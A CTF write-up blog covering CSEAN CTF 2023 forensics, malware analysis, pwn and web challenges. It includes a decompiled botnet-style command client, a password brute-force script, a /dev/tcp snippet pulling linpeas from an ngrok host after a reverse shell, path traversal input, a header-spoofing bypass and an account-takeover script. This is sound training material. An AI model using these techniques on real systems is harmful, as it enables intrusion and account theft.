➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

CSEAN CTF 2023

Description: This was a fun ctf I participated and it taught me new things >3

Challenge Solved:

Forensics

Malware Analysis

Misc

Pwn

Web

Forensics 1/1:~

Communication Is Key

image

After downloading the attached file checking the file type shows that it is a windows executable image

I normally would try decompile it in ghidra but I don’t like decompilling .exe file in ghidra

So instead what I did was to run it

Doing that I got this image

From the challenge name communication it is likely making some sort of requests

So confirm that I opened wireshark then listened on all network interface image

Then I ran the binary again and got this image

There are http packets

I followed tcp stream and got the flag image

Also this binary is a python compiled binary

We can either confirm this by decompilling it or from the user agent we can see it’s python2.8

Anyways since we got the flag what’s the use of going through that

Flag: csean-ctf{CommunicationIsKey_NO_DOUBts!}

Malware Analysis 1/1 :~

Two Way Street

image

I am not a Malware Person but luckily this wasn’t tough

First thing I did was to check the file type image

A windows executable

I uploaded it in virus total

And on checking the details I got this image

It’s also a python compiled binary

Next thing is to convert it to a .pyc file then decompile the .pyc

To convert it to a .pyc file I used pyinstxtractor

Here’s the resource that helped me out hacktricks image

Now I will use uncompyle6 to decompile it

uncompyle6 client.pyc > client.py

Doing that gives me this image

from pwn import *
import platform
import subprocess
content.log_level = 'warning'

def send_command(host, port, command):
    conn = recvuntil(host, port)
    conn.recvuntil(b'$> ')
    conn.sendline(b'' _ command.encode())
    output = conn.recv(10240).decode().strip()
    conn.close()
    return f'''{output}'''

host = '0.cloud.chals.io'
port = 21440
command = 'hostname'
response = send_command(host, port, command)
note = 'Congratulations! You have been hacked. Now you are part of our mighty and growing botnets'
response = response.split('\n')[:-2]
response = '\n'.join(response)
print(response)

We can see that this script basically executes command on this remote instance 0.cloud.chals.io running on port 21440

I connect to it and it showed this image

I tried catting the flag but got this error image

Seems to filter that

But it was easily bypassable

Since ls isn’t filtered I did this image

The commands will execute if an allowed command is also used

I checked the source and got the allowed commands

allowed_commands = ["curl", "wget", "hostname", "date", "ls", "whoami"]

If we assume that an intensive filter check is used we can still get the flag since we have access to curl

Basically using file wrapper image

Flag: csean-ctf{when_THE_HACKER_gets_hacked :)}

Misc 1/1:~

Welcome! Welcome!

image

We are given this string Y3NlYW4tY3Rme3dlbGNvbWVfdG9fdGhlX2dhbWV6enp6IX0= and we can tell it’s base64 cause of =

Decoding it can be done from the terminal image

But if I didn’t know what it was I would have used cyberchef or dcodefr image

Flag: csean-ctf{welcome_to_the_gamezzzz!}

Pwn 1/1:~

ChatterBox [First Blood 🩸]

image

This challenge isn’t really binary exploitation in my opinion just more of like scripting

Anyways we are given this:

If you ever need to talk, just reach out to any of our employees.

As a side note, we think you should know we like talking in months and days. Hopefully you understand.

Connecting to the remote instance shows this prompt image

So we are to find a way to access this

I assumed that the username will be admin but now for the password how do we go about it?

Well I can always try brute force using a wordlist like rockyou but it might take a while

So back to what the description says :

As a side note, we think you should know we like talking in months and days. Hopefully you understand.

This is a hint that’s based on using months and days

I then make a script to create a wordlist and brute force the password

Here’s the script I used to create the wordlist

#!/usr/bin/python3

# Hint to how the password should be: As a side note, we think you should know we like talking in months and days. 

# Months
months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
months_upper = [j.upper() for j in months]
months2_lower = [i.lower() for i in months]

# Date
dates = [str(date) for date in range(32)]

# Form the wordlist
wordlist = []

for month in months:
    for date in dates:
        wordlist.append(month + date)

for month in months_upper:
    for date in dates:
        wordlist.append(month + date)

for month in months2_lower:
    for date in dates:
        wordlist.append(month + date)


# Save wordlist
with open('wordlist.txt', 'w') as fd:
    for i in wordlist:
        fd.write(i+'\n')

And I used this to brute force

#!/usr/bin/python3
from pwn import *
import sys
from multiprocessing import Pool as pool
from warnings import filterwarnings

# Set context
context.log_level = 'info'
filterwarnings('ignore')

# Define a function for the brute force >3
def brute_password(password):
    io = remote('0.cloud.chals.io', 33091)
    io.recv(1024) 
    io.sendline(b"admin")
    io.recv(1024)
    io.sendline(password)
    result = io.recv(1024)
    print(result)
    if b"Invalid credentials" not in result:
        print(f'Password: {password}')
        
        
# Read password from the wordlist 
with open('wordlist.txt', 'r') as fd:
    wordlist = fd.readlines()

if __name__ == '__main__':
    start = pool(int('5'))
    start.map(brute_password, wordlist)

# Credential: admin:july10

I can now connect to the remote instance image

The Check Operational Status looked interesting

I choose the option and was able to run os commands image

At this point I got a reverse shell and uploaded linpeas to the box

But the issue was no binary was available and of cause this is excepted cause we are in a docker container

Using bash I was able to upload linpeas

Host: python3 -m http.server 80

Target:-
exec 3<>/dev/tcp/6.tcp.eu.ngrok.io/10577
echo -e "GET /linpeas.sh HTTP/1.1\n\n">&3
cat <&3 > linpeas.sh

And when I ran it

chmod +x linpeas.sh
bash linpeas.sh

I saw the flag in the environment variable image

Flag: csean-ctf{SOMETIMES_I_WONDER_HOW_th!s_3v3n_PASSED_BeT4_TEST!}

Web 7/9:~

Play By EAR

image

Going over to the web url shows this image

When I input https://google.com it gets redirected image

In order to solve this I intercepted the request and response image

Then right click and select Do intercept -> Reponse to request image

Flag: csean-ctf{easy_PEASy_REDIrect!}

Enum Enum [First Blood 🩸]

image

Going over to the web url shows this image

Since the challenge name is Enum that means we are to enumerate

We can use ffuf to fuzz for POST or GET request

Doing that got me to /api image

ffuf -c -u https://csean-enum-pain.chals.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -mc all -X POST -fl 11

But when I tried fuzzing more values there it just doesn’t work

It really frustrated me

Then I decided to use feroxbuster image

feroxbuster --url https://csean-enum-pain.chals.io/api/ -m POST

Ferobuster got /api/secret with GET http method

I then accessed it and got this image

Hmmmm! I then tried using POST request to access /api/secret and it got me the flag image

Flag: csean-ctf{Y0u_SAW_it_in_4_d!fferent_MeTH0D!!}

FirstOfWAF

image

Going over to the web url shows this image

The text FORWARDED was bolden this gives the hint to use the X-Forwarded-For header

I used curl and added the header to my request then got the flag image

curl -H "X-Forwarded-For: 127.0.0.1" https://csean-waf.chals.io/
Flag: csean-ctf{NO_PLACE_L!k3_0x7f000001}

Handover

image

To me this challenge was a little bit guessy but ok

Anyways let us get to it

Going over to the web url shows this image

When I search for something it gives this image

At this point I was really confused cause I used cewl to get the words from the web server and fuzzed for allowed words but got nothing

After some minutes I noticed when I give it ../../../../../flag.txt it gives the flag image

Flag: csean-ctf{I_hope_i_DIDNT_tr!ck_YOU_OR_D!D_I_hehe:)}

Report Phish [First Blood 🩸]

image

Going over to the url shows this image

Seems to be a service used for reporting sites used for phishing

To check if it indeeds make some sort of http request to the site submitted I used webhook.site image

Submitting that url I got this image

Then after some minutes of waiting patiently (I didn’t wait patiently I sent the request multiple times 😂) I got this image

The flag is in the referer header

Flag: csean-ctf{TH!S_really_l00ks_l!ke_A_PHISH_OR_NOT?} 

Stupid Reset

image

Going over to the url shows this image

There’s a sign in and also a register function

I registered an account image

Here’s the request made when we register image

Now I can login image

It redirects to /dashboard and shows this image

The page source shows this image

That’s the js file used by the web server

Back on the sign in page there’s a forgot password function image

Clicking it shows this image

When I gave in my user created mail root@sec.io and also intercepted the request I got this image image image

We can see that during the process of the forgot password function, it leaks the token in the response in the json body

How do we take advantage of this since the pop up already said the reset instruction has been sent to your email address. Kindly click the link within the mail body to initiate the password reset.

Well I looked back to the user.js and saw this endpoint

const resetPassword = () => {
  let current_loc = window.location.href.split("/").pop();
  const data = {
    user: {
      password: document.getElementById("password").value,
    },
  };
  const options = {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
    },
    body: JSON.stringify(data),
  };
  fetch(`/api/reset/${current_loc}`, options)
    .then((data) => {
      return data.json();
    })
    .then((response) => {
      window.alert(response.message);
      window.location.href = "/sign-in";
    })
    .catch((e) => {
      window.alert(JSON.stringify(e));
    });

Accessing it shows this image

Looking at it shows that it requires a valid token to be passed in from the url therefore giving us the opportunity to do a password reset

I used the forgot password function to get a token for the user I created root@sec.io and did this image image

I changed the password to pwned and when I logged in it worked image image

This means we can basically reset any user password cool right?

At this point I looked at the main page then got a user which looked worth it image

Let us reset user admin@stupid-reset.com password

First I got the token image image

Now I use the /reset endpoint and change the password to pwned image image

With this set we should be able to login with admin@stupid-reset.com:pwned and get the flag image image

Doing this manually is pain so I made a script to automate the stress for us

#!/usr/bin/python3
import requests
import json

email = "admin@stupid-reset.com"
# email = "pwner@root.io"
password = "pwned"
proxy = {"http":"http://127.0.0.1:8080"}

# Step 1: Forget password to get the token
url = 'http://143.198.98.92:1337/api/forgot-password'
param = {'user':{'email':email}}
data = json.dumps(param)
headers = {"Content-Type":"application/json"}
res = requests.post(url, data=data, headers=headers)
val = json.loads(res.text)
reset_token = val['resettoken']

# Step 2: Reset the user accout password
change_to = "pwned"
param = {"user":{"password":change_to}}
data = json.dumps(param)
headers = {"Content-Type":"application/json"}
url = f'http://143.198.98.92:1337/api/reset/{reset_token}'
res = requests.post(url, data=data, headers=headers)

# Print success message
print(f'[*] Email: {email} password has been updated to "{change_to}"')

Running it also works then we can login with the password and get the flag image

Flag: csean-ctf{th!s_RESET_1s_SECURE_you_should_REALly_TrusT_m3!}

Handover 2 [First Blood 🩸]

image

Going over to the url shows this image

I then decided to fuzz for endpoints using feroxbuster and got this image

We have three endpoints

/api/register
/api/login
/api/flag

When I tried accessing /api/flag I got this image

To register I first accessed /api/register as a GET request image

So that’s the parameter required to register

I used burp to do this

Let us register a user image

We can now login image

{
"email":"root@root.com",
"firstName":"pwner",
"lastName":"haxor",
"role":"user",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5jb20iLCJpYXQiOjE2ODkxNzY2MzksImV4cCI6MTY4OTE4MDIzOX0.3TPesuZVJ6A5uP4MgGeVzLaVK7wdgIc_RLXa48XWke0"
}

Looking at the json response formed we see that role is set to user

We can try to register a user again and set role to admin image

When I logged in it showed this image

{
"email":"root@root.io",
"firstName":"pwned",
"lastName":"pwned",
"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5pbyIsImlhdCI6MTY4OTE3Njc3MSwiZXhwIjoxNjg5MTgwMzcxfQ.kDURYuKEuIR1NF2ht-F2R1Zv9sGE5_PLTJjnWv3zNdo"
}

It worked and this confirmed a broken access control vulnerability

I can now get the flag using the json web token image

GET /api/flag HTTP/1.1
Host: 143.198.98.92:9092
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5pbyIsImlhdCI6MTY4OTE3Njc3MSwiZXhwIjoxNjg5MTgwMzcxfQ.kDURYuKEuIR1NF2ht-F2R1Zv9sGE5_PLTJjnWv3zNdo


And I got the flag

Flag: csean-ctf{Joan!I_told_you_not_TO_trust_us3r_inputs_buh_YOU_NEVER_LISTEN!}

That’s all I was able to solve 😅

At the end of the struggle we managed to take first 🙂 image

Till the next ctf 🥷 @Urahara